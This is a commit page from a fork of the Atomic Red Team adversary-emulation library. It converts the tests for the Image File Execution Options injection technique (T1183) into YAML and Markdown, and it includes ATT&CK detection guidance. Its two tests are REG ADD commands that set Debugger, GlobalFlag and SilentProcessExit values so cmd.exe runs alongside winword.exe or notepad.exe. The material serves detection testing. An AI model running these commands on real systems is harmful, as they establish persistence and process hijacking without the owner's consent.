forked from redcanaryco/atomic-red-team
-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request redcanaryco#189 from redcanaryco/T1183-yamlize
T1183 yamlize
- Loading branch information
Showing
9 changed files
with
145 additions
and
96 deletions.
There are no files selected for viewing
15 changes: 0 additions & 15 deletions
15
Windows/Persistence/Image_File_Execution_Options_Injection.md
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,65 @@ | ||
| # T1183 - Image File Execution Options Injection | ||
| ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1183) | ||
| <blockquote>Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, any executable file present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\dbg\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010) | ||
|
|
||
| IFEOs can be set directly via the Registry or in Global Flags via the Gflags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger Values in the Registry under <code>HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options/<executable></code> and <code> HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable> </code> where <code><executable></code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010) | ||
|
|
||
| Similar to Process Injection, this value can be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Engame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation. | ||
|
|
||
| Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008) | ||
|
|
||
| Detection: Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as <code>DEBUG_PROCESS</code> and <code>DEBUG_ONLY_THIS_PROCESS</code>. (Citation: Microsoft Dev Blog IFEO Mar 2010) | ||
|
|
||
| Monitor the IFEOs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017) | ||
|
|
||
| Platforms: Windows | ||
|
|
||
| Data Sources: Process Monitoring, Windows Registry, Windows event logs | ||
|
|
||
| Permissions Required: Administrator, SYSTEM</blockquote> | ||
|
|
||
| ## Atomic Tests | ||
|
|
||
| - [Atomic Test #1 - IFEO Add Debugger](#atomic-test-1---ifeo-add-debugger) | ||
|
|
||
| - [Atomic Test #2 - IFEO GLobal Flags](#atomic-test-2---ifeo-global-flags) | ||
|
|
||
|
|
||
| <br/> | ||
|
|
||
| ## Atomic Test #1 - IFEO Add Debugger | ||
| TODO | ||
|
|
||
| **Supported Platforms:** Windows | ||
|
|
||
|
|
||
| #### Inputs | ||
| | Name | Description | Type | Default Value | | ||
| |------|-------------|------|---------------| | ||
| | target_binary | Binary To Attach To | Path | winword.exe| | ||
| | payload_binary | Binary To Execute | Path | cmd.exe| | ||
|
|
||
| #### Run it with `command_prompt`! | ||
| ``` | ||
| REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger /d "#{payload_binary}" | ||
| ``` | ||
| <br/> | ||
| <br/> | ||
|
|
||
| ## Atomic Test #2 - IFEO GLobal Flags | ||
| Leverage Global Flags Settings | ||
|
|
||
| **Supported Platforms:** Windows | ||
|
|
||
|
|
||
| #### Inputs | ||
| | Name | Description | Type | Default Value | | ||
| |------|-------------|------|---------------| | ||
| | target_binary | Binary To Attach To | Path | notepad.exe| | ||
| | payload_binary | Binary To Execute | Path | cmd.exe| | ||
|
|
||
| #### Run it with `command_prompt`! | ||
| ``` | ||
| REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /t REG_DWORD /d 512 REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /t REG_DWORD /d 1 REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /d "#{payload_binary}" | ||
| ``` | ||
| <br/> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,47 @@ | ||
| --- | ||
| attack_technique: T1183 | ||
| display_name: Image File Execution Options | ||
|
|
||
| atomic_tests: | ||
| - name: IFEO Add Debugger | ||
| description: | | ||
| TODO | ||
| supported_platforms: | ||
| - windows | ||
| input_arguments: | ||
| target_binary: | ||
| description: Binary To Attach To | ||
| type: Path | ||
| default: winword.exe | ||
| payload_binary: | ||
| description: Binary To Execute | ||
| type: Path | ||
| default: cmd.exe | ||
|
|
||
| executor: | ||
| name: command_prompt | ||
| command: | | ||
| REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger /d "#{payload_binary}" | ||
| - name: IFEO GLobal Flags | ||
| description: | | ||
| Leverage Global Flags Settings | ||
| supported_platforms: | ||
| - windows | ||
|
|
||
| input_arguments: | ||
| target_binary: | ||
| description: Binary To Attach To | ||
| type: Path | ||
| default: notepad.exe | ||
| payload_binary: | ||
| description: Binary To Execute | ||
| type: Path | ||
| default: cmd.exe | ||
|
|
||
| executor: | ||
| name: command_prompt | ||
| command: | | ||
| REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /t REG_DWORD /d 512 REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /t REG_DWORD /d 1 REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /d "#{payload_binary}" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.